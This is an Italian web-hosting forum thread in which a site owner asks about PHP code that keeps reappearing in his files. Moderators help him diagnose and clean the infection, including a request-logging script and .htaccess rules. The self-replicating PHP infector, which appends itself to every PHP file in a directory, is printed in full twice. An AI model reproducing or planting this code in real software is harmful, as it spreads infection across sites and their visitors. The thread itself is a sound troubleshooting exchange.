Visualizzazione risultati 1 fino 15 di 15

Discussione: Codice autoinstallante nelle pagine PHP

  1. #1
    Guest

    Predefinito Codice autoinstallante nelle pagine PHP

    Salve a tutti.
    Mi ritrovo su tutti i file php del mio sito il seguente codice che prima non c'era.
    Mi sapreste dire di cosa si tratta? E' Un virus?
    Grazie mille
    Dario

    <?php
    //K//

    $path=__FILE__;$nme=explode("\\",$path);$nmec=coun t($nme);$nme2=$nme[($nmec - 1)];$i=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f){$f2=explode(".",$f);$f2c=count($f2);if($f2[($f2c - 1)] == "php"){$o=file($f);$oc=count($o);@$o2=$o[($oc - 2)]; if($o2 == "//K//\r\n"){}else{$u=file($nme2);$uc=count($u);$a=fopen ("$f","a");fputs($a,"\n<?php\n//K//\r\n".$u[($uc - 3)]."//K//\r\n?>");fclose($a);}}else{}}
    //K//

    ?>
    Ultima modifica di catturavisite : 16-10-2012 alle ore 16.13.06

  2. #2
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Antico, antico pezzo di codice, proveniente direi da qua: http://www.hackgame.it/viewtopic.php?pid=23334

    Come sia finito sul tuo sito, è la domanda che ti devi porre. Può darsi che lo script che usi non faccia tutti i controlli necessari. Cosa assai probabile, visto che millanta anche cose tipo
    Infatti, come voi sapete, digitando una chiave di ricerca (ad esempio su Google), verranno richiamati in ordine di posizione i siti che avranno ricevuto un maggiore numero di visite.

  3. #3
    Guest

    Predefinito

    Ok grazie per linformazione.

    Ma sai se esiste uno script che annulli il riprodursi del virus?

    Grazie mille

    Dario

  4. #4
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Lo cancelli dalle pagine, ed è andato. Altrimenti viene eseguito ad ogni visita, e continua a copiarsi.

  5. #5
    Guest

    Predefinito

    Ok grazie.

    Ma Volevo sfruttare il codice per autocancellarlo. Potrebbe servire ad altri utenti che si trovassero nelle mie medesime condizioni:

    per esempio fputs dovrebbe sigificare inserisci mentre il contrario (di cui non conosco la funzione dovrebbe cancellarlo)

    Codice PHP:
    <?php
    //K//

    $path=__FILE__;$nme=explode("\\",$path);$nmec=coun t($nme);$nme2=$nme[($nmec - 1)];$i=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f){$f2=explode(".",$f);$f2c=count($f2);if($f2[($f2c - 1)] == "php"){$o=file($f);$oc=count($o);@$o2=$o[($oc - 2)]; if($o2 == "//K//\r\n"){}else{$u=file($nme2);$uc=count($u);$a=fopen ("$f","a");fputs($a,"\n<?php\n//K//\r\n".$u[($uc - 3)]."//K//\r\n?>");fclose($a);}}else{}}
    //K//

    ?>
    conosci la funzione cancella o remove?

    Poi, ti volevo chiedere un'altra cosa: non so se dipende sempre da questo virus, ho notato che quando apro un php con fzilla a volte dal codice mi toglie tutti gli spazi, il che vuol dire che il file non funziona più. E' un altro virus?
    Grazie mille
    Dario

  6. #6
    Guest

    Predefinito

    Riprendo la discussione.
    Questo virus mi sta facendo impazzire. Si autoinstalla solo sulla directory principale del sito non va ad intaccare le subdirectory, ma la cosa assai strana è che cancello il codice da tutti i files al di fuori dello spazio web e li ricarico, ma dopo una mezzora si reinstalla.

    Ragionamento: Se il codice non si autoinstalla nei files che si trovano dentro le cartelle, ma solo nella directory principale del sito, ciò vuol dire che provengono direttamente dallo spazio web.

    Cosa ne pensate?
    Dario

  7. #7
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Citazione Originalmente inviato da catturavisite Visualizza messaggio
    Se il codice non si autoinstalla nei files che si trovano dentro le cartelle, ma solo nella directory principale del sito, ciò vuol dire che provengono direttamente dallo spazio web.
    Non è possibile, per come sono configurati i permessi su AlterVista. Assicurati di aver tolto il codice da tutti i file.

    Da sopra
    • cancellare delle righe via php non è facile, dovresti leggere il file, trovare le linee giuste, e poi riscriverlo senza; ci metti meno con un editor di testo serio o con sed
    • assicurati che FileZilla sia configurato per trasferire i file in modalità binaria, altrimenti a volte crea problemi con i ritorni a capo ed altri spazi

  8. #8
    L'avatar di sevenjeak
    sevenjeak non è connesso AlterGuru
    Data registrazione
    25-10-2007
    Residenza
    Roma
    Messaggi
    1,769

    Predefinito

    Mmm.. stavo facendo un giro sul forum è mi sono fermato a leggere questa discussione, molto interessando, da alcuni punti di vista, anche perché la stessa cosa potrebbe capitare ad altri.

    @catturavisite: Se usi FileZilla sicuro che lo script, il virus, non sia sul tuo computer e possiede i dati di accesso al tuo spazio per poter modificare i file a tua insaputa?

    Sevenjeak
    Software developer and much more

  9. #9
    Guest

    Predefinito

    Intanto grazie per i suggerimenti.
    Beh il dubbio del virus nel mio computer potrebbe essere realistico, ma sarebbe un virus che non verrebbe rilevato dal mio antivirus avast.

    E' strano cmq, che dopo aver estrapolato tutti i files php dallo spazio web e dopo averli corretti, eliminando il codice maligno (prestando molta attenzione che non me ne scordassi alcuno) e dopo averli ricaricati (senza quel maledetto codice) si siano ricreati nuovamente.

  10. #10
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Piazza un .htaccess che faccia passare tutte le richieste attraverso uno script php che le logga. Assicurati (di nuovo, mi spiace) che tutti i file siano puliti, e poi cambia password.

    Non toccare nulla per un paio di giorni, ma via HTTP dai un'occhiata al log e guarda cosa succede. Se ci sono richieste strane, arriva dall'esterno, e scoprirai come. Se non ci sono, controlla via pannello se il codice è riapparso. Se è riapparso, è ancora in giro per il sito. Se non è riapparso, il problema è sulla tua macchina.

  11. #11
    Guest

    Predefinito

    Piazza un .htaccess che faccia passare tutte le richieste attraverso uno script php che le logga. Assicurati (di nuovo, mi spiace) che tutti i file siano puliti, e poi cambia password.
    Come? Mi puoi aiutare?

    Cmq, mi pare di capire che il problema sia lungo da risolvere:

    1) Avevo estrapolato dallo spazio web dei files da ripulire (46) e messi in una cartella sul desktop, non vorrei sbagliarmi (tra le tante cose che faccio), ricordo di averli ripuliti, ma il codice è riapparso in metà di essi circa 20.

    2) Questo codice lo ritrovo su molti altri siti (alcuni dei quali su aruba)

    3) Su aruba dopo averli ripuliti, fino a questo momento non si sono infettati
    mentre su altervista si.

    Bene o meglio dire male.
    Dovrò in primis capire se il problema proviene nel mio pc che cmq è collegato in una rete domestica 4 Pc (tra cui un portatile e un ipad) oppure dalla rete.

    In ogni caso, se non ti dispiace, mi puoi spiegare come posso loggare quello script di cui parli e quale dovrei usare?

    Grazie in anticipo
    Ultima modifica di catturavisite : 04-11-2012 alle ore 16.07.41

  12. #12
    Guest

    Predefinito Riapertura discussione

    Scusate se riapro la discussione ma, quel codice maledetto è proprio un "Rompi Palle"
    Io ritengo che il virus si trovi sul server, in ogni caso non voglio essere presuntuoso, ma vorrei che qualcuno degli ADMIN verificasse ciò che sto per dire.

    1) Ho cancellato tutti i file .php dallo spazio web
    2) ho inserito un file di manutenzione index.html
    3) ho lasciato per circa 3 ore questa situazione
    4) ho ricaricato i file ripuliti dal codice malevolo lasciando puntare il sito su index.html
    5) ho controllato i file php dopo 1 ora e tutto era a posto
    6) non appena ho cancellato il file index.html, lasciando puntare il sito su index.php, mi si ripresenta il codice malevolo.

    Cosa ne pensate?
    Grazie ancora
    Dario

  13. #13
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Intanto, scusa ancora per la mia memoria cortissima Ecco il pezzo di codice che ti avevo promesso mesi e mesi fa. E' sporco, ma fa il suo lavoro. Entrambi i file vanno messi nella home.

    Inventati un nome al posto di qualcosa.txt, non vorremmo lo leggessero tutti.

    log.php
    Codice PHP:
    <?php
    $f
    = fopen('qualcosa.txt', 'a');
    $page = @$_GET['logpage'];
    unset(
    $_GET['logpage']);
    fwrite($f, $page . ' GET: ' . json_encode($_GET) . ' POST: ' . json_encode($_POST) . PHP_EOL);
    fclose($f);
    $page = preg_replace('#\?.*$#', '', $page);
    chdir(dirname($page));
    include
    $page;
    .htaccess
    Codice:
    RewriteEngine On
    RewriteBase /
    RewriteRule ^(.*\.php)$  log.php?logpage=$1 [L,QSA]
    Se hai già un file .htaccess le righe sopra andrebbero aggiunte in fondo. Ma se il tuo contiene già altre righe Rewrite* e le cose non funzionano, ne discutiamo


    edit: a parte, hai anche dati nel database?
    Ultima modifica di dreadnaut : 16-02-2013 alle ore 12.56.14

  14. #14
    Guest

    Predefinito

    Vediamo se ho capito bene!
    log.php va inserito nella directory principale accanto all'index.php e al file qualcosarinominato.txt, mentre il codice che mi hai suggerito va messo in fondo all'htaccess.

    Ho fatto in questo modo e mi da il seguente errore:

    Fatal error: Call to undefined function: json_encode() in /membri/nomesito/log.php on line 5


    in merito alla tua domanda: Si ho parecchi dati nel database
    Ultima modifica di catturavisite : 16-02-2013 alle ore 22.02.11

  15. #15
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Se json_encode non c'è (i.e., hai configurato php < 5.2 via pannello) puoi usare serialize() per un risultato simile. Sono entrambe funzioni che prendono un array e lo codificano in una stringa, così è più facile salvare i dati nel log.

    Per il database: controlla che il codice non sia salvato li, magari in un qualche post o commento.

    Comunque se il sito è basato su phpnuke, assicurati anche di aver aggiornato all'ultima versione.

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •